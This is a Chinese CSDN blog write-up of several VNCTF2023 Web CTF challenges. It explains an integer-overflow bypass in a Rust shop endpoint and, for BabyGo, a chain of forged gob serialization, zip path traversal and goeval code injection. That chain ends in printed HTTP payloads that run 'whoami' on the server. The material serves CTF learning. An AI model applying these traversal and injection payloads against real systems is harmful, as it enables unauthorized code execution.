VNCTF2023部分Web题目复现

于 2023-06-27 12:34:55 发布
阅读量272 收藏
点赞数
文章标签： ruby web安全 网络安全 golang
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/sorryagain/article/details/130963085
版权

Web

象棋王子

查找Js文件，在某处发现了Jsfuck代码：

在这里插入图片描述
直接运行即可：

在这里插入图片描述

电子木鱼

查看源代码，发现触发获得flag的逻辑：

		if GONGDE.get() > 1_000_000_000 {
        context.insert(
            "flag",
            &std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),
        );
    }

当GONGDE变量值大于1000000000时，能够得到flag。

代码给出了/upgrade路由，可以通过name和quantity参数来控制业务逻辑。

const PAYLOADS: &[Payload] = &[
    Payload {
        name: "Cost",
        cost: 10,
    },
    Payload {
        name: "Loan",
        cost: -1_000,
    },
    Payload {
        name: "CCCCCost",
        cost: 500,
    },
    Payload {
        name: "Donate",
        cost: 1,
    },
    Payload {
        name: "Sleep",
        cost: 0,
    },
];

其中核心业务逻辑如下：

        if payload.name == "Donate" || payload.name == "Cost" {
            cost *= body.quantity;
        }
        
        if GONGDE.get() < cost as i32 {
            return web::Json(APIResult {
                success: false,
                message: "功德不足",
            });
        }

        if cost != 0 {
            GONGDE.set(GONGDE.get() - cost as i32);
        }

cost 变量已经在代码中定义，和 quantity 变量相乘后，重新赋值。而 quantity 变量则由用户传入。

但是代码中校验了 quantity 变量不能小于0，因此无法通过传入负数，通过两个负数相乘来使得GONGDE增加。

但发现 cost 的类型为 i32，存在整数溢出的问题。

int32的数值取值范围为 -2147483648 到 2147483647；

因此构造如下Payload：

在这里插入图片描述发现GONGDE增长了10，再将 quantity 修改小一点

在这里插入图片描述

得到flag

在这里插入图片描述

BabyGo

打开题目：

在这里插入图片描述

阅读源码，发现根路由创建了每个用户专属的目录，并生成了用户的身份验证文件user.gob。
此处注意生成的逻辑，是对user字符串进行了Gob序列化，将序列化后的内容写进了user.gob文件。

	r.GET("/", func(c *gin.Context) {
		userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
		session := sessions.Default(c)
		session.Set("shallow", userDir)
		session.Save()
		fileutil.CreateDir(userDir)
		gobFile, _ := os.Create(userDir + "user.gob")
		user := User{Name: "ctfer", Path: userDir, Power: "low"}
		encoder := gob.NewEncoder(gobFile)
		encoder.Encode(user)
		if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
			c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
			return
		}
		c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
	})

注意到源码给出了后门方法，校验了用户的身份验证文件user.gob中用户权限是否为admin，如果是的话才进入到命令执行的逻辑分支。

这里先考虑如何修改用户权限，命令执行的具体方法见后文。

	r.GET("/backdoor", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userDir := session.Get("shallow").(string)
		if fileutil.IsExist(userDir + "user.gob") {
			file, _ := os.Open(userDir + "user.gob")
			decoder := gob.NewDecoder(file)
			var ctfer User
			decoder.Decode(&ctfer)
			if ctfer.Power == "admin" {
				eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
				if err != nil {
					fmt.Println(err)
				}
				c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
				return
			} else {
				c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
				return
			}
		} else {
			c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
			return
		}
	})

继续看源码，发现了存在上传功能。文件路径使用字符串拼接，因此可以考虑目录穿越去绕过，穿越到上层路径。但是代码对上传文件的扩展名做了限制，禁止上传.go和.gob文件，我们无法直接上传覆盖用户的身份文件。

	r.POST("/upload", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		fileutil.CreateDir(userUploadDir)
		file, err := c.FormFile("file")
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
			return
		}
		ext := file.Filename[strings.LastIndex(file.Filename, "."):]
		if ext == ".gob" || ext == ".go" {
			c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
			return
		}
		filename := userUploadDir + file.Filename
		if fileutil.IsExist(filename) {
			fileutil.RemoveFile(filename)
		}
		err = c.SaveUploadedFile(file, filename)
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
			return
		}
		c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
	})

好在源码中提供了一个解压的方法，解压目录依然使用字符串拼接，因此同样考虑目录穿越。

	r.GET("/unzip", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		files, _ := fileutil.ListFileNames(userUploadDir)
		destPath := filepath.Clean(userUploadDir + c.Query("path"))
		for _, file := range files {
			if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
				err := fileutil.UnZip(userUploadDir+file, destPath)
				if err != nil {
					c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
					return
				}
				fileutil.RemoveFile(userUploadDir + file)
			}
		}
		c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
	})

综上，我们可以通过Gob序列化构造身份为admin的权限验证文件，再打包成压缩包上传至服务器，再通过目录穿越解压到根目录去覆盖原有的权限文件即可。

构造权限文件代码如下：

package main

import (
	"encoding/gob"
	"os"
)

type User struct {
	Name  string
	Path  string
	Power string
}

func main() {
	userDir := "/tmp/xxxxx/"
	gobFile, _ := os.Create("user.gob")
	user := User{Name: "ctfer", Path: userDir, Power: "admin"}
	encoder := gob.NewEncoder(gobFile)
	encoder.Encode(user)
}

打包为zip文件并上传：

在这里插入图片描述

此时访问后门函数显示权限不足：

在这里插入图片描述

调用解压方法，并且使用path参数穿越到根目录：

在这里插入图片描述

此时访问后门函数，已通过权限校验：

在这里插入图片描述

命令执行的方法参考Goeval代码注入导致远程代码执行（2022虎符Final）。

看一下后门方法中触发漏洞的代码：

eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))

DefaultQuery用来给请求参数赋默认值，如果不传参数pkg，那么将使用默认值fmt。

这里调用了第三方模块goeval：https://github.com/PaulXu-cn/goeval

分析一下goeval的源码，可见是代码的拼接生成文件然后运行：

在这里插入图片描述

因此我们可以通过控制参数pkg，注入一个")，构造import代码块的闭合。但是程序后面原本的")还在，我们声明一个变量var a=("1，来构造注入，闭合掉后面的括号。

这里还需要用%0a来绕过空格，因为空格是会被当做多个依赖包进行拆分的，导致语法错误，详情请见goeval源码。

我们尽管可以注入代码，但是程序仍然执行main函数，而main函数我们无法修改，导致没法执行其他的代码。

但是在go语言中有一个特殊的init()函数，他在main()之前自动执行，所以通过init()实现任意代码执行。

Payload如下：

GET /backdoor?pkg=fmt%22)%0afunc%0ainit(){fmt.Println("123")}%0avar%0a(a%3d%221 HTTP/1.1

在这里插入图片描述

Go语言进行命令执行的方法有：

cmd := exec.Command("whoami")
out, _ := cmd.CombinedOutput()
fmt.Println(string(out))

out, _ := exec.Command("whoami").Output()
fmt.Printf(out)

Payload如下：

GET /backdoor?pkg=%22os%2fexec%22%0a%20fmt%22)%0afunc%0ainit()%7bout%2c_%3a%3dexec.Command(%22whoami%22).Output()%0afmt.Printf(string(out))%7d%0avar%0a(a%3d%221 HTTP/1.1

在这里插入图片描述

2ha0yuk7on.
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
VNCTF 2021
煤矿路口西的博客
03-24 847
冰冰好像藏着秘密 发现冰冰藏着的flag，flag格式为VNCTF{*} 得到FFT.rar 但是直接打开会提示 这个存在一个考察的点：rar伪加密 但是在实战中笔者发现两个绕过的方法 1)用kali打开 2)如上图图一所示，在winrar报错的情况下，直接拖出FFT.png，也能达到解压的效果 而按出题人本身的意思，是在使用010打开的情况下： 把下图的84改成80 通过搜索得知文件名FFT为： 下面是大佬脚本： import cv2 as cv import numpy as np imp.
XYCTF部分web题目复现
最新发布
05-06
XYCTF部分web题目复现
VNCTF2023 WP
qq_74710163的博客
02-25 351
其功能主要是为命令行程序（cmd.exe）提供类似于Csrss.exe进程的图形子系统等功能支持，而之前在Windows XP系统中Conhost.exe的这一功能是由Csrss.exe进程“兼职”提供的，但这被认为存在不安全因素，于是微软为了提高系统安全性在06年之后发布的Vista和Win7系统中新加入Conhost.exe进程。svchost.exe是微软Windows操作系统中的系统文件，微软官方对它的解释是：svchost.exe 是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。
VNCTF2022 web全复现
CSDNDi_Di的博客
03-14 325
在data.js文件中搜索到了关键词flag，且后面附着着一个base64编码的字符串，解码试试得到flag，再将其url解码一下就行Copy。
VNCTF 2023 部分wp
sln_1550的博客
02-20 2267
今年逆向题目比较多，还挺顺手的，其他题目还算不难，除了babyAnti这题就AK逆向了。这题用的flutter库，研究了好久也完全找不到思路，只好放弃。后来才知道根据题目的名字，预期解就是去掉反作弊的检查，用作弊方法完成的。
2021VNCTF
unexpectedthing的博客
02-22 1019
文章目录GameV4.0newcalc0gocalc0非预期预期InterestingPHP解法1：解法2 GameV4.0 直接base64解码 newcalc0 源码 const express = require("express"); const path = require("path"); const vm2 = require("vm2"); const app = express(); app.use(express.urlencoded({ extended: true })); ap
强网杯SQL题目复现php.zip
12-17
4. mysqli.php：mysqli是PHP中用于MySQL数据库的扩展，这个文件可能包含了连接数据库、执行SQL查询等相关代码，是实现SQL题目复现的核心部分。 综上所述，这个压缩包提供了一个基于PHP的环境，用于重现强网杯竞赛中...
24年云曦考核web复现（部分）
03-18
24年云曦考核web复现（部分）
VNCTF 2023复现
akxnxbshai的博客
02-19 1142
VNCTF复现。
vnctf2023 部分
weixin_57439582的博客
02-24 174
vnctf2023
[VNCTF] EasyJava
Landasika的博客
05-17 395
目录 [VNCTF] EasyJava一、拿到源码二、分析源码三、Servlet的线程安全问题：条件竞争四、构造反序列化 [VNCTF] EasyJava 一、拿到源码 首先拿到题目，查看源码发现了提示：/file? 进入/file文件发现需要提交一个url。由于前面提示用file进入，这个时候我们可以尝试用文件读取。 输入 ?url=file:/// 之后显示发现有一个flag，但是...
VNCTF-reverse-BabyMaze(复现）
ookami6497的博客
03-20 596
pyc花指令 生成的文件也是0字节，一般至少都能生成点东西出来的，但是这个一点都没有，当时猜估计是有个循环啥的，然后就不会写了 根据wp来复现一下，先查看字节码 import marshal, dis f = open("BabyMaze.pyc", "rb").read() code = marshal.loads(f[16:]) #这边从16位开始取因为是python3 python2从8位开始取 dis.d..
2023—VNCTF-re-PZGalaxy
qq_54894802的博客
02-26 244
这里分析一下我们就可以知道，data和enc都传入了Leaf中进行加密，我们就可以推测出data,就是进行加密的密钥。后面的一行代码，分别是判断flag前面四个字符，和data前面的四个字符，并且我们可以知道，data的长度为8.解出flag：flag{HitYourSoulAndSeeYouInTheGalaxy}知道key的前四个字符，也知道key的前四个字符，自然想到对key进行爆破。源码很有特点，就是进行rc4加密。用浏览器打开 开发者工具查看源码。这道题是用js写的代码。
vnctf——babyvm
weixin_52369224的博客
02-17 3354
深入了解 vm虚拟机逆向 这是一道golang vm题，64位idapro 7.7 对于go反编译进行了优化，可以直接看。 分析主函数，unk_B9D8A0为我们的opcode段 根据部分函数 猜测a7就是虚拟机的寄存器个数，并且为21. 推测栈的大小为0x3e8 struct func { void *call; vm *ptr; }; struct REG { _DWORD R[21]; }; struct vm { REG reg; _DWORD Memor
VNCTF 2022 web
qq_53263789的博客
02-16 1636
前言 复现一下vnctf GameV4.0 签到 newcalc0 源码 const express = require("express"); const path = require("path"); const vm2 = require("vm2"); const app = express(); app.use(express.urlencoded({ extended: true })); app.use(express.json()); app.use(express.static("s
VNCTF2022公开赛-misc-仔细找找（复现）
ookami6497的博客
03-12 929
放大发现里面大多数都是白点，而且还混有其他有颜色的点，前面地方能看出vn两个字母 参考这个大佬的博客说是要取出所有的杂色点 大佬的代码 from PIL import Image img = Image.open(r'g:\share\20220212\flag.png') w, h = img.size res = Image.new('RGB', (w//50, h//31), 255) for x in range(w): for y in range(h): ...
VNCTF(web)小白详解
anwen12的博客
03-23 1201
VNCTF(web)小白详解 看了下师傅们的wp，发现还挺难理解的。下面跟着大家做个简单的解答。 0x01 realezjvav 一上来就是常规的登录框，估摸着就是sql注入，paylod一拿到，一打，欸，不错，笛卡尔乘积盲注（原理：多个数据表链接的时候，数据大了，所以时间长）拿到密码no_0ne_kn0w_th1s 然后是这个，看不出来，我们继续。 发现这个就是我们fastjson，rce了。 https://github.com/welk1n/JNDI-Injection-Exploit/blob/
qvd-2023-45061漏洞复现
12-25
qvd-2023-45061漏洞是指某个系统或软件中存在的安全漏洞。为了验证这个漏洞，需要进行漏洞复现，即重现漏洞的过程。首先，需要在具有相同环境和配置的测试系统上进行操作。其次，需要根据漏洞的描述和已知信息，尝试触发漏洞并记录操作步骤和结果。在进行漏洞复现的过程中，需要注意保护好测试环境，避免对系统造成实际危害。 在qvd-2023-45061漏洞复现的过程中，可以尝试利用已知的payload或者编写自定义的代码来触发漏洞，记录漏洞触发的条件和效果。在复现过程中，也可以尝试不同的输入和操作，寻找漏洞的边界和影响范围。同时，需要及时记录复现的过程和结果，以便进一步的分析和修复。 当漏洞成功复现后，应该及时向相关安全团队或厂商报告漏洞，并提供详细的复现过程和结果。漏洞复现的结果将有助于安全团队更好地理解漏洞的本质和影响，有助于及时修复和防范类似的漏洞。此外，漏洞复现也是安全研究和攻防技术提升的重要手段，通过复现漏洞可以加深对漏洞原理和利用方法的理解，提高安全防护和应对能力。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值